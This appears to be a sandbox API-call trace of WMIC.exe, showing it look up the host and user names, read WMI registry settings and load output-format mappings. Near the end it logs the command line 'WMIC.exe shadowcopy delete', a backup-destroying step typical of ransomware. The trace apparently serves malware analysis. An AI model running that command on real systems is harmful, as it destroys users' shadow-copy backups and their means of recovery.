	[0170.229] free (_Block=0x3e64a0) 
	[0170.229] malloc (_Size=0x18) returned 0x29dfb0
	[0170.229] malloc (_Size=0x18) returned 0x3e64a0
	[0170.230] malloc (_Size=0x18) returned 0x3e64c0
	[0170.230] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13
	[0170.230] SysStringLen (param_1="\\kernel32.dll") returned 0xd
	[0170.230] free (_Block=0x29dfb0) 
	[0170.231] free (_Block=0x3e64a0) 
	[0170.231] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x76f20000
	[0170.231] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0170.231] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0170.232] FreeLibrary (hLibModule=0x76f20000) returned 1
	[0170.233] free (_Block=0x3e64c0) 
	[0170.233] _vsnwprintf (in: _Buffer=0x3e6450, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x28f8c8 | out: _Buffer="ms_409") returned 6
	[0170.233] malloc (_Size=0x20) returned 0x3e64a0
	[0170.233] GetComputerNameW (in: lpBuffer=0x3e64a0, nSize=0x28fca0 | out: lpBuffer="XDUWTFONO", nSize=0x28fca0) returned 1
	[0170.234] lstrlenW (lpString="XDUWTFONO") returned 9
	[0170.234] malloc (_Size=0x14) returned 0x29dfb0
	[0170.234] lstrlenW (lpString="XDUWTFONO") returned 9
	[0170.234] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x28fc98 | out: lpNameBuffer=0x0, nSize=0x28fc98) returned 0x7fffffdc000
	[0170.239] GetLastError () returned 0xea
	[0170.239] malloc (_Size=0x40) returned 0x3e64d0
	[0170.240] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x3e64d0, nSize=0x28fc98 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x28fc98) returned 0x1
	[0170.241] lstrlenW (lpString="") returned 0
	[0170.242] lstrlenW (lpString="XDUWTFONO") returned 9
	[0170.242] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3
	[0170.247] lstrlenW (lpString=".") returned 1
	[0170.247] lstrlenW (lpString="XDUWTFONO") returned 9
	[0170.247] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3
	[0170.247] lstrlenW (lpString="LOCALHOST") returned 9
	[0170.247] lstrlenW (lpString="XDUWTFONO") returned 9
	[0170.247] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3
	[0170.247] lstrlenW (lpString="XDUWTFONO") returned 9
	[0170.247] lstrlenW (lpString="XDUWTFONO") returned 9
	[0170.247] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2
	[0170.247] free (_Block=0x29dfb0) 
	[0170.247] lstrlenW (lpString="XDUWTFONO") returned 9
	[0170.248] malloc (_Size=0x14) returned 0x29dfb0
	[0170.248] lstrlenW (lpString="XDUWTFONO") returned 9
	[0170.248] lstrlenW (lpString="XDUWTFONO") returned 9
	[0170.248] malloc (_Size=0x14) returned 0x3e6520
	[0170.248] lstrlenW (lpString="XDUWTFONO") returned 9
	[0170.248] malloc (_Size=0x8) returned 0x3e6540
	[0170.248] malloc (_Size=0x18) returned 0x3e6560
	[0170.248] malloc (_Size=0x30) returned 0x3e6580
	[0170.248] malloc (_Size=0x18) returned 0x3e65c0
	[0170.249] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0170.249] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0170.249] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0170.249] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0170.250] malloc (_Size=0x30) returned 0x3e65e0
	[0170.250] malloc (_Size=0x18) returned 0x3e6620
	[0170.250] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0170.250] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0170.250] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0170.250] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0170.250] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0170.250] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0170.250] malloc (_Size=0x30) returned 0x3e6640
	[0170.250] malloc (_Size=0x18) returned 0x3e6680
	[0170.250] SysStringLen (param_1="DELEGATE") returned 0x8
	[0170.250] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0170.250] SysStringLen (param_1="DELEGATE") returned 0x8
	[0170.251] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0170.251] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0170.251] SysStringLen (param_1="DELEGATE") returned 0x8
	[0170.251] malloc (_Size=0x30) returned 0x3e66a0
	[0170.251] malloc (_Size=0x18) returned 0x3e66e0
	[0170.251] malloc (_Size=0x30) returned 0x3e6700
	[0170.251] malloc (_Size=0x18) returned 0x3e6740
	[0170.251] SysStringLen (param_1="NONE") returned 0x4
	[0170.251] SysStringLen (param_1="DEFAULT") returned 0x7
	[0170.251] SysStringLen (param_1="DEFAULT") returned 0x7
	[0170.251] SysStringLen (param_1="NONE") returned 0x4
	[0170.251] malloc (_Size=0x30) returned 0x3e6760
	[0170.251] malloc (_Size=0x18) returned 0x3e67a0
	[0170.252] SysStringLen (param_1="CONNECT") returned 0x7
	[0170.252] SysStringLen (param_1="DEFAULT") returned 0x7
	[0170.252] malloc (_Size=0x30) returned 0x3e67c0
	[0170.252] malloc (_Size=0x18) returned 0x3e6800
	[0170.252] SysStringLen (param_1="CALL") returned 0x4
	[0170.252] SysStringLen (param_1="DEFAULT") returned 0x7
	[0170.252] SysStringLen (param_1="CALL") returned 0x4
	[0170.252] SysStringLen (param_1="CONNECT") returned 0x7
	[0170.252] malloc (_Size=0x30) returned 0x3e6820
	[0170.252] malloc (_Size=0x18) returned 0x3e6860
	[0170.343] SysStringLen (param_1="PKT") returned 0x3
	[0170.343] SysStringLen (param_1="DEFAULT") returned 0x7
	[0170.343] SysStringLen (param_1="PKT") returned 0x3
	[0170.343] SysStringLen (param_1="NONE") returned 0x4
	[0170.343] SysStringLen (param_1="NONE") returned 0x4
	[0170.343] SysStringLen (param_1="PKT") returned 0x3
	[0170.343] malloc (_Size=0x30) returned 0x3e6880
	[0170.343] malloc (_Size=0x18) returned 0x3e68c0
	[0170.343] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0170.343] SysStringLen (param_1="DEFAULT") returned 0x7
	[0170.344] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0170.344] SysStringLen (param_1="NONE") returned 0x4
	[0170.344] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0170.344] SysStringLen (param_1="PKT") returned 0x3
	[0170.344] SysStringLen (param_1="PKT") returned 0x3
	[0170.344] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0170.344] malloc (_Size=0x30) returned 0x3e8000
	[0170.345] malloc (_Size=0x18) returned 0x3e6ce0
	[0170.345] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0170.345] SysStringLen (param_1="DEFAULT") returned 0x7
	[0170.345] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0170.345] SysStringLen (param_1="PKT") returned 0x3
	[0170.345] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0170.345] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0170.345] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0170.345] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0170.345] malloc (_Size=0x30) returned 0x3e8040
	[0170.345] malloc (_Size=0x40) returned 0x3e6d00
	[0170.346] malloc (_Size=0x20a) returned 0x3e8fd0
	[0170.346] GetSystemDirectoryW (in: lpBuffer=0x3e8fd0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0170.346] free (_Block=0x3e8fd0) 
	[0170.346] malloc (_Size=0x18) returned 0x3e6d50
	[0170.346] malloc (_Size=0x18) returned 0x3e6d70
	[0170.347] malloc (_Size=0x18) returned 0x3e6d90
	[0170.347] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13
	[0170.347] SysStringLen (param_1="\\wbem\\") returned 0x6
	[0170.347] free (_Block=0x3e6d50) 
	[0170.347] free (_Block=0x3e6d70) 
	[0170.347] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32
	[0170.348] free (_Block=0x3e6d90) 
	[0170.348] malloc (_Size=0x18) returned 0x3e6d50
	[0170.348] malloc (_Size=0x18) returned 0x3e6d70
	[0170.348] malloc (_Size=0x18) returned 0x3e6d90
	[0170.348] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19
	[0170.348] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10
	[0170.349] free (_Block=0x3e6d50) 
	[0170.349] free (_Block=0x3e6d70) 
	[0170.349] GetCurrentThreadId () returned 0x60c
	[0170.349] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x28f5a0 | out: phkResult=0x28f5a0*=0xf8) returned 0x0
	[0170.349] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x28f5f0, lpcbData=0x28f590*=0x400 | out: lpType=0x0, lpData=0x28f5f0*=0x30, lpcbData=0x28f590*=0x4) returned 0x0
	[0170.350] _wcsicmp (_String1="0", _String2="1") returned -1
	[0170.350] _wcsicmp (_String1="0", _String2="2") returned -2
	[0170.350] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x28f590*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x28f590*=0x42) returned 0x0
	[0170.350] malloc (_Size=0x86) returned 0x3e6db0
	[0170.350] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x3e6db0, lpcbData=0x28f590*=0x42 | out: lpType=0x0, lpData=0x3e6db0*=0x25, lpcbData=0x28f590*=0x42) returned 0x0
	[0170.350] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32
	[0170.350] malloc (_Size=0x42) returned 0x3e6e40
	[0170.350] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32
	[0170.350] RegQueryValueExW (in: hKey=0xf8, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x28f5f0, lpcbData=0x28f590*=0x400 | out: lpType=0x0, lpData=0x28f5f0*=0x36, lpcbData=0x28f590*=0xc) returned 0x0
	[0170.350] _wtol (_String="65536") returned 65536
	[0170.350] free (_Block=0x3e6db0) 
	[0170.351] RegCloseKey (hKey=0x0) returned 0x6
	[0170.351] CoCreateInstance (in: rclsid=0xff687410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff6873f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x28fa98 | out: ppv=0x28fa98*=0x1c571d0) returned 0x0
	[0171.047] FreeThreadedDOMDocument:IXMLDOMDocument:Load (in: This=0x1c571d0, xmlSource=0x28fbe0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x3e6d50), isSuccessful=0x28fc50 | out: isSuccessful=0x28fc50*=0xffff) returned 0x0
	[0225.390] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x1c571d0, DOMElement=0x28fa90 | out: DOMElement=0x28fa90) returned 0x0
	[0225.390] malloc (_Size=0x18) returned 0x3e6e90
	[0225.394] free (_Block=0x3e6e90) 
	[0225.396] malloc (_Size=0x18) returned 0x3e6e90
	[0225.396] free (_Block=0x3e6e90) 
	[0225.396] malloc (_Size=0x18) returned 0x3e6e90
	[0225.396] malloc (_Size=0x18) returned 0x3e6eb0
	[0225.397] malloc (_Size=0x30) returned 0x3e8080
	[0225.397] malloc (_Size=0x18) returned 0x3e6d50
	[0225.397] free (_Block=0x3e6d50) 
	[0225.398] malloc (_Size=0x18) returned 0x3ec270
	[0225.398] malloc (_Size=0x18) returned 0x3ec290
	[0225.398] SysStringLen (param_1="VALUE") returned 0x5
	[0225.398] SysStringLen (param_1="TABLE") returned 0x5
	[0225.398] SysStringLen (param_1="TABLE") returned 0x5
	[0225.398] SysStringLen (param_1="VALUE") returned 0x5
	[0225.398] malloc (_Size=0x30) returned 0x3e80c0
	[0225.399] malloc (_Size=0x18) returned 0x3ec2b0
	[0225.399] free (_Block=0x3ec2b0) 
	[0225.399] malloc (_Size=0x18) returned 0x3ec2b0
	[0225.400] malloc (_Size=0x18) returned 0x3ec2d0
	[0225.400] SysStringLen (param_1="LIST") returned 0x4
	[0225.400] SysStringLen (param_1="TABLE") returned 0x5
	[0225.400] malloc (_Size=0x30) returned 0x3e8100
	[0225.400] malloc (_Size=0x18) returned 0x3ec2f0
	[0225.401] free (_Block=0x3ec2f0) 
	[0225.401] malloc (_Size=0x18) returned 0x3ec2f0
	[0225.401] malloc (_Size=0x18) returned 0x3ec310
	[0225.401] SysStringLen (param_1="RAWXML") returned 0x6
	[0225.401] SysStringLen (param_1="TABLE") returned 0x5
	[0225.401] SysStringLen (param_1="RAWXML") returned 0x6
	[0225.401] SysStringLen (param_1="LIST") returned 0x4
	[0225.401] SysStringLen (param_1="LIST") returned 0x4
	[0225.401] SysStringLen (param_1="RAWXML") returned 0x6
	[0225.401] malloc (_Size=0x30) returned 0x3e8140
	[0225.402] malloc (_Size=0x18) returned 0x3ec330
	[0225.402] free (_Block=0x3ec330) 
	[0225.402] malloc (_Size=0x18) returned 0x3ec330
	[0225.402] malloc (_Size=0x18) returned 0x3ec350
	[0225.403] SysStringLen (param_1="HTABLE") returned 0x6
	[0225.403] SysStringLen (param_1="TABLE") returned 0x5
	[0225.403] SysStringLen (param_1="HTABLE") returned 0x6
	[0225.403] SysStringLen (param_1="LIST") returned 0x4
	[0225.403] malloc (_Size=0x30) returned 0x3e8180
	[0225.403] malloc (_Size=0x18) returned 0x3ec370
	[0225.403] free (_Block=0x3ec370) 
	[0225.404] malloc (_Size=0x18) returned 0x3ec370
	[0225.404] malloc (_Size=0x18) returned 0x3ec390
	[0225.404] SysStringLen (param_1="HFORM") returned 0x5
	[0225.404] SysStringLen (param_1="TABLE") returned 0x5
	[0225.404] SysStringLen (param_1="HFORM") returned 0x5
	[0225.404] SysStringLen (param_1="LIST") returned 0x4
	[0225.404] SysStringLen (param_1="HFORM") returned 0x5
	[0225.404] SysStringLen (param_1="HTABLE") returned 0x6
	[0225.404] malloc (_Size=0x30) returned 0x3e81c0
	[0225.405] malloc (_Size=0x18) returned 0x3ec3b0
	[0225.405] free (_Block=0x3ec3b0) 
	[0225.405] malloc (_Size=0x18) returned 0x3ec3b0
	[0225.405] malloc (_Size=0x18) returned 0x3ec3d0
	[0225.405] SysStringLen (param_1="XML") returned 0x3
	[0225.405] SysStringLen (param_1="TABLE") returned 0x5
	[0225.405] SysStringLen (param_1="XML") returned 0x3
	[0225.406] SysStringLen (param_1="VALUE") returned 0x5
	[0225.406] SysStringLen (param_1="VALUE") returned 0x5
	[0225.406] SysStringLen (param_1="XML") returned 0x3
	[0225.406] malloc (_Size=0x30) returned 0x3e8200
	[0225.406] malloc (_Size=0x18) returned 0x3ec3f0
	[0225.406] free (_Block=0x3ec3f0) 
	[0225.406] malloc (_Size=0x18) returned 0x3ec3f0
	[0225.407] malloc (_Size=0x18) returned 0x3ec410
	[0225.407] SysStringLen (param_1="MOF") returned 0x3
	[0225.407] SysStringLen (param_1="TABLE") returned 0x5
	[0225.407] SysStringLen (param_1="MOF") returned 0x3
	[0225.407] SysStringLen (param_1="LIST") returned 0x4
	[0225.407] SysStringLen (param_1="MOF") returned 0x3
	[0225.407] SysStringLen (param_1="RAWXML") returned 0x6
	[0225.407] SysStringLen (param_1="LIST") returned 0x4
	[0225.407] SysStringLen (param_1="MOF") returned 0x3
	[0225.407] malloc (_Size=0x30) returned 0x3e8240
	[0225.408] malloc (_Size=0x18) returned 0x3ec430
	[0225.408] free (_Block=0x3ec430) 
	[0225.408] malloc (_Size=0x18) returned 0x3ec430
	[0225.408] malloc (_Size=0x18) returned 0x3ec450
	[0225.408] SysStringLen (param_1="CSV") returned 0x3
	[0225.408] SysStringLen (param_1="TABLE") returned 0x5
	[0225.408] SysStringLen (param_1="CSV") returned 0x3
	[0225.408] SysStringLen (param_1="LIST") returned 0x4
	[0225.408] SysStringLen (param_1="CSV") returned 0x3
	[0225.408] SysStringLen (param_1="HTABLE") returned 0x6
	[0225.409] SysStringLen (param_1="CSV") returned 0x3
	[0225.409] SysStringLen (param_1="HFORM") returned 0x5
	[0225.409] malloc (_Size=0x30) returned 0x3e8280
	[0225.409] malloc (_Size=0x18) returned 0x3ec470
	[0225.409] free (_Block=0x3ec470) 
	[0225.410] malloc (_Size=0x18) returned 0x3ec470
	[0225.410] malloc (_Size=0x18) returned 0x3ec490
	[0225.410] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.410] SysStringLen (param_1="TABLE") returned 0x5
	[0225.410] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.410] SysStringLen (param_1="VALUE") returned 0x5
	[0225.410] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.410] SysStringLen (param_1="XML") returned 0x3
	[0225.410] SysStringLen (param_1="XML") returned 0x3
	[0225.410] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.410] malloc (_Size=0x30) returned 0x3e82c0
	[0225.411] malloc (_Size=0x18) returned 0x3ec4b0
	[0225.411] free (_Block=0x3ec4b0) 
	[0225.411] malloc (_Size=0x18) returned 0x3ec4b0
	[0225.411] malloc (_Size=0x18) returned 0x3ec4d0
	[0225.411] SysStringLen (param_1="texttablewsys") returned 0xd
	[0225.411] SysStringLen (param_1="TABLE") returned 0x5
	[0225.411] SysStringLen (param_1="texttablewsys") returned 0xd
	[0225.411] SysStringLen (param_1="XML") returned 0x3
	[0225.411] SysStringLen (param_1="texttablewsys") returned 0xd
	[0225.411] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.412] SysStringLen (param_1="XML") returned 0x3
	[0225.412] SysStringLen (param_1="texttablewsys") returned 0xd
	[0225.412] malloc (_Size=0x30) returned 0x3e8300
	[0225.412] malloc (_Size=0x18) returned 0x3ec4f0
	[0225.412] free (_Block=0x3ec4f0) 
	[0225.412] malloc (_Size=0x18) returned 0x3ec4f0
	[0225.413] malloc (_Size=0x18) returned 0x3ec510
	[0225.413] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0225.413] SysStringLen (param_1="TABLE") returned 0x5
	[0225.413] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0225.413] SysStringLen (param_1="XML") returned 0x3
	[0225.413] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0225.413] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.413] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.413] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0225.413] malloc (_Size=0x30) returned 0x3e8340
	[0225.413] malloc (_Size=0x18) returned 0x3ec530
	[0225.414] free (_Block=0x3ec530) 
	[0225.414] malloc (_Size=0x18) returned 0x3ec530
	[0225.414] malloc (_Size=0x18) returned 0x3ec550
	[0225.414] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0225.714] SysStringLen (param_1="TABLE") returned 0x5
	[0225.714] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0225.714] SysStringLen (param_1="XML") returned 0x3
	[0225.714] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0225.714] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.714] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0225.714] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0225.714] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.714] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0225.714] malloc (_Size=0x30) returned 0x3e8380
	[0225.715] malloc (_Size=0x18) returned 0x3ec570
	[0225.715] free (_Block=0x3ec570) 
	[0225.715] malloc (_Size=0x18) returned 0x3ec570
	[0225.715] malloc (_Size=0x18) returned 0x3ec590
	[0225.715] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0225.715] SysStringLen (param_1="TABLE") returned 0x5
	[0225.715] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0225.715] SysStringLen (param_1="XML") returned 0x3
	[0225.715] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0225.716] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.716] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0225.716] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0225.716] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0225.716] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0225.716] malloc (_Size=0x30) returned 0x3e83c0
	[0225.716] malloc (_Size=0x18) returned 0x3ec5b0
	[0225.716] free (_Block=0x3ec5b0) 
	[0225.716] malloc (_Size=0x18) returned 0x3ec5b0
	[0225.717] malloc (_Size=0x18) returned 0x3ec5d0
	[0225.717] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0225.717] SysStringLen (param_1="TABLE") returned 0x5
	[0225.717] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0225.717] SysStringLen (param_1="XML") returned 0x3
	[0225.717] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0225.717] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.717] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0225.717] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0225.717] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0225.717] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0225.717] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0225.717] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0225.717] malloc (_Size=0x30) returned 0x3e8400
	[0225.718] malloc (_Size=0x18) returned 0x3ec5f0
	[0225.718] free (_Block=0x3ec5f0) 
	[0225.718] malloc (_Size=0x18) returned 0x3ec5f0
	[0225.718] malloc (_Size=0x18) returned 0x3ec610
	[0225.719] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0225.719] SysStringLen (param_1="TABLE") returned 0x5
	[0225.719] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0225.719] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.719] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0225.719] SysStringLen (param_1="XML") returned 0x3
	[0225.719] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0225.719] SysStringLen (param_1="texttablewsys") returned 0xd
	[0225.719] SysStringLen (param_1="XML") returned 0x3
	[0225.719] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0225.719] malloc (_Size=0x30) returned 0x3e8440
	[0225.720] malloc (_Size=0x18) returned 0x3ec630
	[0225.720] free (_Block=0x3ec630) 
	[0225.720] malloc (_Size=0x18) returned 0x3ec630
	[0225.720] malloc (_Size=0x18) returned 0x3ec650
	[0225.720] SysStringLen (param_1="htable-sortby") returned 0xd
	[0225.720] SysStringLen (param_1="TABLE") returned 0x5
	[0225.720] SysStringLen (param_1="htable-sortby") returned 0xd
	[0225.720] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.721] SysStringLen (param_1="htable-sortby") returned 0xd
	[0225.721] SysStringLen (param_1="XML") returned 0x3
	[0225.721] SysStringLen (param_1="htable-sortby") returned 0xd
	[0225.721] SysStringLen (param_1="texttablewsys") returned 0xd
	[0225.721] SysStringLen (param_1="htable-sortby") returned 0xd
	[0225.721] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0225.721] SysStringLen (param_1="XML") returned 0x3
	[0225.721] SysStringLen (param_1="htable-sortby") returned 0xd
	[0225.721] malloc (_Size=0x30) returned 0x3e8480
	[0225.722] malloc (_Size=0x18) returned 0x3ec670
	[0225.722] free (_Block=0x3ec670) 
	[0225.722] malloc (_Size=0x18) returned 0x3ec670
	[0225.722] malloc (_Size=0x18) returned 0x3ec690
	[0225.722] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0225.722] SysStringLen (param_1="TABLE") returned 0x5
	[0225.722] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0225.722] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.722] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0225.722] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0225.722] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0225.723] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0225.723] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.723] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0225.723] malloc (_Size=0x30) returned 0x3e84c0
	[0225.723] malloc (_Size=0x18) returned 0x3ec6b0
	[0225.723] free (_Block=0x3ec6b0) 
	[0225.724] malloc (_Size=0x18) returned 0x3ec6b0
	[0225.724] malloc (_Size=0x18) returned 0x3ec6d0
	[0225.724] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0225.724] SysStringLen (param_1="TABLE") returned 0x5
	[0225.724] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0225.724] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.724] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0225.724] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0225.724] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0225.724] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0225.724] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0225.724] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0225.724] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.725] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0225.725] malloc (_Size=0x30) returned 0x3e8500
	[0225.725] malloc (_Size=0x18) returned 0x3ec6f0
	[0225.725] free (_Block=0x3ec6f0) 
	[0225.725] malloc (_Size=0x18) returned 0x3ec6f0
	[0225.726] malloc (_Size=0x18) returned 0x3ec710
	[0225.726] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0225.726] SysStringLen (param_1="TABLE") returned 0x5
	[0225.726] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0225.726] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.726] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0225.726] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0225.726] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0225.726] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0225.726] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0225.726] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0225.726] malloc (_Size=0x30) returned 0x3e8540
	[0225.727] malloc (_Size=0x18) returned 0x3ec730
	[0225.727] free (_Block=0x3ec730) 
	[0225.727] malloc (_Size=0x18) returned 0x3ec730
	[0225.727] malloc (_Size=0x18) returned 0x3ec750
	[0225.727] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0225.727] SysStringLen (param_1="TABLE") returned 0x5
	[0225.727] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0225.727] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0225.727] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0225.727] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0225.728] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0225.728] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0225.728] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0225.728] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0225.728] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0225.728] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0225.728] malloc (_Size=0x30) returned 0x3e8580
	[0225.728] FreeThreadedDOMDocument:IUnknown:Release (This=0x1c571d0) returned 0x0
	[0225.728] free (_Block=0x3e6d90) 
	[0225.729] GetCommandLineW () returned="WMIC.exe  shadowcopy delete"
	[0225.921] malloc (_Size=0x40) returned 0x3e6d50
